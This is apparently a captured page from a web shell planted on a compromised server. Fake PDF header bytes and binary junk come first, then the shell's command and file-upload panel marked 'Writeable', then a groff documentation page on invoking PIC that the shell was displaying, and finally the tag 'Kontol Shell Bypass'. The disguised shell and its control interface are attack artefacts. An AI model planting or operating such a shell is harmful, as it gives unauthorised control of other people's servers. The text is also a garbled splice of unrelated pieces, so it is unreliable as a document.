%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/doc/groff-base/html/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc/groff-base/html/pic-2.html
<!-- Creator     : groff version 1.22.3 -->
<!-- CreationDate: Sat Feb 10 02:09:07 2018 -->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="generator" content="groff -Thtml, see www.gnu.org">
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<meta name="Content-Style" content="text/css">
<style type="text/css">
       p       { margin-top: 0; margin-bottom: 0; vertical-align: top }
       pre     { margin-top: 0; margin-bottom: 0; vertical-align: top }
       table   { margin-top: 0; margin-bottom: 0; vertical-align: top }
       h1      { text-align: center }
</style>
<title>pic-2.html</title>

</head>
<hr>
[ <a href="pic-1.html">prev</a> | <a href="pic-3.html">next</a> | <a href="pic.html">top</a> ]
<hr>


<h2>2. Invoking PIC
<a name="2. Invoking PIC"></a>
</h2>


<p style="margin-top: 1em">Every <b>pic</b> description is
a little program describing drawing actions. The
<b>[gtn]roff</b>-dependent versions compile the program by
<i>pic</i>(1) into <i>gtroff</i>(1) macros; the
<i>pic2plot</i>(1) implementation uses a plotting library to
draw the picture directly. Programs that process or display
<i>gtroff</i>(1) output need not know or care that parts of
the image began life as <b>pic</b> descriptions.</p>

<p style="margin-top: 1em">The <i>pic</i>(1) program tries
to translate anything between <b>.PS</b> and <b>.PE</b>
markers, and passes through everything else. The normal
definitions of <b>.PS</b> and <b>.PE</b> in the <i>ms</i>
macro package and elsewhere have also the side-effect of
centering the <b>pic</b> output on the page.</p>

<h3>2.1. PIC Error Messages
<a name="2.1. PIC Error Messages"></a>
</h3>


<p style="margin-top: 1em">If you make a <b>pic</b> syntax
error, <i>gpic</i>(1) issues an error message in the
standard <i>gcc</i>(1)-like syntax. A typical error message
looks like this,</p>

<pre style="margin-left:10%; margin-top: 1em">pic:pic.ms:&lt;nnn&gt;: parse error before &lsquo;&lt;token&gt;&rsquo;
pic:pic.ms:&lt;nnn&gt;: giving up on this picture</pre>


<p style="margin-top: 1em">where &lang; nnn&rang; is a line
number, and &lang; token&rang; is a token near (usually just
after) the error location.</p>
<hr>
[ <a href="pic-1.html">prev</a> | <a href="pic-3.html">next</a> | <a href="pic.html">top</a> ]
<hr>

Kontol Shell Bypass